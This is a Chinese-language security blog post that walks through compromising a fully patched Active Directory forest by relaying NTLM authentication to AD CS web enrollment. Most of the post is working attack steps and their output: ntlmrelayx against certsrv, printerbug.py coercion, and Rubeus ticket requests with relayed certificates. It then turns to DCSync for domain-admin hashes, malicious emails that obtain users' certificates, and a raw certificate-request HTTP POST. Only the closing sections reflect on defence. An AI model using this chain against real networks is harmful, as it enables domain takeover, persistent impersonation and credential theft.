全补丁域森林5秒沦陷?加密升级之信任雪崩

阅读量    124061 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

域控?Exchange? Sharepoint? 个人PC? 个人域账号/邮箱?域森林?统统只要5秒打下。

 

0x00 踩点和识别

域内定位CA机器的方法较多, 常见如下

certutil -config - -ping

测试网络联通性

curl 192.168.44.150/certsrv/ -I

简单探测AD CS错误配置

 

0x01 攻击Exchange流水账

本地监听和指定攻击目标 dc2 192.168.44.150

python ntlmrelayx.py  -t http://192.168.44.150/certsrv/certfnsh.asp -smb2support --adcs

打印机协议触发回连Bypass监控规则

python printerbug.py corp/lower_user:yourpass@192.168.44.163 192.168.44.131

中继获取证书

[*] Base64 certificate of user EX03$:
LONGLONGLONGSTR**********==

Rubeus一键梭哈

Rubeus.exe asktgt /user:EX03$ /certificate:LONGLONGLONGSTR**********== /ptt

Rubeus生成票据并注入

C:\adcs>Rubeu_S.exe asktgt /user:EX03$ /certificate:bas64_cert_str /ptt
//返回
  v1.6.4

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=ex03.BSEC.corp
[*] Building AS-REQ (w/ PKINIT preauth) for: 'BSEC.corp\EX03$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF**LongLongStrOfBase64Ticket.Kirbi***==

[+] Ticket successfully imported!

  ServiceName           :  krbtgt/BSEC.corp
  ServiceRealm          :  BSEC.CORP
  UserName              :  EX03$
  UserRealm             :  BSEC.CORP
  StartTime             :  2021/7/6 13:52:35
  EndTime               :  2021/7/6 23:52:35
  RenewTill             :  2021/7/13 13:52:35
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  XpO52RXSeAo6OdEfC+7kQQ==

注入票据前为低权限账号

注入票据后

生成的票据拿到rubues/mimikatz都是可以的,转换成ccache,也可以用到impacket工具包

生成的证书会在较长的时间内有效默认一年有效期

 

0x03 攻击域控

前部分操作如上文

可以注入域控DC3$的身份

接下来我们用DC3$的身份, 进行 dcsync导出域管dcadmin的hash

 

0x04 攻击域内员工

补丁更新到最新. 系统为win10 ltsc

发送几封恶意邮件, 使用最新版的outlookfoxmail打开

均成功获取域账号win10的个人证书

使用该证书登陆win10 ltsc这台机器, 或者查看邮件等,都是可以的. 无论域用户 win10修改多少次密码,密码强度如何, 证书默认会一年有效,并可以进行续签

 

0x05 域森林攻击

同样进行NTLM relay

使用relay签发的证书,可见身份已经从bsec.ccop\low_user到了forest-a.bsec.ccop\DC01$的域管机器账号

0x06 换个视野看证书

certsrv相关信息

签发请求相关流量csr

POST /certsrv/certfnsh.asp HTTP/1.1
Host: 192.168.44.150
Accept-Encoding: identity
Content-Length: 1699
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Mode=newreq&CertRequest=-----BEGIN+CERTIFICATE+REQUEST-----*****-----END+CERTIFICATE+REQUEST-----&CertAttrib=Info_Template&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=

微软AD CS签发证书流量

openssl查看relay盗签的证书信息

域CA的证书管理信息, 可以发现relay签发的证书,也可以吊销.(无法吊销黄金证书)

Certmgr.msc查看加域机器自动植入的Root CA

  • 一张证书身份可以干什么
    • 获取的不仅是Tickets
    • 涉及的不仅是域内
    • 每个加域的电脑都自动安装了AD CS下发的根证书想想攻击面😄
    • 如果攻击或盗取了Root CASub CA? 攻击面又有多大😄

 

0x07 攻击链路分析和发散

  • 利用AD CS(需要开启证书颁发机构Web注册 Web接口), 将目标机器账号的权限, relay到AD CS 80 web实现pki身份的持久化(SMB Relay到 HTTP).
  • 全程利用了域内正常服务打印机协议/Pki Web注册, 实现了低危害操作组合拳5秒打域控/Exchange/PC/域森林;
  • 攻击入口不仅是打印机协议, 只要可控机器账号/域账号外发认证,即可实现组合拳,攻击面很广,攻击链路比较多.本文不过多赘述
  • 另外用了PKI/HSM就一定安全了么?不管是开源或外采,抑或微软的PKI,攻防一直在持续.
  • 为了不影响文章的主干和脉络清晰,很多点没有展开,如果有机会再来叨叨

 

0x08 漏洞引入思考

由于2019年的一系列smb/http/*->ldap等组合拳,微软和企业IT运维在全球范围内,迅速推进了ldaps的进程,里面开启pki系列服务时,如不小心勾选了证书颁发机构Web注册, 即会带来此次的攻击面. (默认只需要勾选证书颁发机构)
百度/谷歌部分ldaps开启部署教程中,不少截图标识了要勾选证书颁发机构Web注册😄

反思: 在消弭一些漏洞的历程中,新的动作和变更,又会引入新的攻击面和链路,这也正是攻防的魅力所在。

 

0x09 申明

本人获取的信息/进行的思考/完成的实践,肯定有欠缺或错漏,如有意见和建议私聊微信red4blue.

非首发安全客, 全文完成与7月10日

 

0x10 参考和致谢

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多